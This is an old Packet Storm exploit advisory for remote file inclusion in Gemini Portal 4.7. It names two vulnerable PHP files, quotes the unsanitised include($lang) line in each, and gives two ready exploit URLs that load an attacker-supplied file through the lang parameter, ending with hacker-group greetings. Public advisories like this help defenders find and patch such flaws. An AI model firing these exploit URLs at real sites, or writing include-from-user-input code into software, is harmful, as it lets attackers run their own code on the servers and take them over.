gemini-rfi.txt

2008-09-27T00:00:00
ID PACKETSTORM:70398
Type packetstorm
Reporter ZoRLu
Modified 2008-09-27T00:00:00

Description

                                        
                                            `[~] The Gemini Portal Multiple Remote File inj.  
[~]  
[~] version: 4.7  
[~] ----------------------------------------------------------  
[~] Discovered By: ZoRLu  
[~]  
[~] Date: 26.09.2008  
[~]  
[~] Home: www.z0rlu.blogspot.com  
[~]  
[~] contact: trt-turk@hotmail.com  
[~]  
[~] contact: zorlu@w.cn  
[~]   
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!  
[~]   
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (  
[~]  
[~] -----------------------------------------------------------  
  
file 1: gemini/page/forums/bottom.php  
  
c0de:  
  
include($lang); (line16)  
  
Exploit 1:  
  
http://localhost/script_path/gemini/page/forums/bottom.php?lang=ZoRLu.txt?  
  
file 2: gemini/page/forums/category.php  
  
c0de:  
  
include($lang); (line 17)  
  
Exploit 2:  
  
http://localhost/script_path/gemini/page/forums/category.php?lang=ZoRLu.txt?  
  
[~]----------------------------------------------------------------------  
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs  
[~]  
[~] yildirimordulari.org & r00tsecurity.org & darkc0de.com  
[~]  
[~]----------------------------------------------------------------------  
  
`